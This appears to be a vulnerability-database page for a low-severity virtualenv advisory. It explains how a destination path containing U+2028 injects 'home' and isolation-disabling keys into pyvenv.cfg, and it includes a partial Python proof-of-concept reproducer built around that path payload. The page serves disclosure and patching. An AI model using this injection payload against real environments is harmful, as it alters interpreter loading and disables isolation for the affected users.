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Response snapshot Oct 27, 2026, 04:58 UTC

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VulnerabilityCVE-2026-113715

virtualenv: Venv configuration readback can reinterpret path boundaries

The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

Published Updated

At a glance

Exploited
Not known
Severity
2.0 Low (CVSS 4.0)
Chance of exploitation
0.2% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-qmx5-4p3x-wvqf (opens a new tab)

What happened

## Summary

The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

Anthropic's OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Continue reading

Configuration readback by the stdlib venv creator.

## Attacker-controlled input

An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

## Affected code

The relevant 21.14.8 source is in [venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py), [configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).

## Mechanism

With `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with `str.splitlines()`, and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a `command =` value without escaping every character that `splitlines()` recognizes as a line boundary.

A destination containing U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

## Reproduction and evidence

The scanner used one destination value with U+2028 between `home = /attacker/chosen`, `include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the value inside its `command` line and reported the base interpreter's `sys._home`. `virtualenv --creator venv --no-seed` on the same value wrote separate injected configuration lines and its interpreter reported `sys.

_home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

The altered `home` can change which standard-library files the interpreter loads if an attacker also controls that location; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. [PR #3426](https://github.

com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

## Attack sequence

```mermaid sequenceDiagram participant A as Destination supplier participant S as stdlib venv participant V as virtualenv readback participant C as Final pyvenv.

cfg participant P as Environment Python A->>S: path contains U+2028 and home = /attacker/chosen S->>C: write path inside command value V->>C: read with splitlines() V->>V: parse suffix as separate keys V->>C: rewrite home and include-system-site-packages P->>C: read injected keys on startup C-->>P: sys._home changes and isolation is disabled ```

## Reproducer files

The following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

**`repro`**

```text #!/usr/bin/env python3 import os import shutil import subprocess

work = "/tmp/repro-venv-creator-cfg" shutil.rmtree(work, ignore_errors=True)

# the attacker's input: the text of a destination path. # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader. # The slashes only make nested directories; the last key, x, absorbs the rest of the path. LS = "\u2028" dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"

base_python = os.path.realpath(shutil.which("python")) real_home = os.path.dirname(base_python)

def pyvenv_cfg_lines(env): # split on "\n" only, as the interpreter does return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")

def sys_home(env): # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"] return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()

# control: the same path through the standard library alone stdlib_env = dest + "-stdlib" subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)

# attack: the same path through virtualenv; --creator venv is the one non-default option virtualenv_env = dest + "-virtualenv" created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env]) if created.returncode != 0: # refusing such a destination is a valid fix print("virtualenv refused the destination") print("OK") raise SystemExit

# check stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env) virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)

print("CONTROL python -m venv wrote pyvenv.cfg:") for line in stdlib_cfg: print(" " + ascii(line)) print(f"CONTROL python -m venv: sys._home = {stdlib_home}") print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:") for line in virtualenv_cfg: print(" " + ascii(line)) print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")

keys_injected = "home = /attacke

Affected package ranges reported by GitHub: virtualenv: < 21.14.9

Scores and how they were measured

CVSS base severity

2.0

Version 4.0As of

CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.2%

Scored Percentile 15.3%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-qmx5-4p3x-wvqf (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-qmx5-4p3x-wvqf, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-113715, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 23). virtualenv: Venv configuration readback can reinterpret path boundaries (CVE-2026-113715). https://kevwire.com/record/CVE-2026-113715

MLA

"virtualenv: Venv configuration readback can reinterpret path boundaries (CVE-2026-113715)." KEVWire, 23 Oct. 2026, kevwire.com/record/CVE-2026-113715.

Chicago

KEVWire. "virtualenv: Venv configuration readback can reinterpret path boundaries (CVE-2026-113715)." Last modified October 23, 2026. https://kevwire.com/record/CVE-2026-113715.

Evidence summary (plain text)

virtualenv: Venv configuration readback can reinterpret path boundaries (Oct 23, 2026).
The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over
virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure
before output sanitization.

Anthropic's OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.
CVSS 2.0 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-qmx5-4p3x-wvqf).
EPSS 0.2% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113715&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-qmx5-4p3x-wvqf: https://github.com/advisories/GHSA-qmx5-4p3x-wvqf
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113715&date=2026-10-26
Record ID: CVE-2026-113715.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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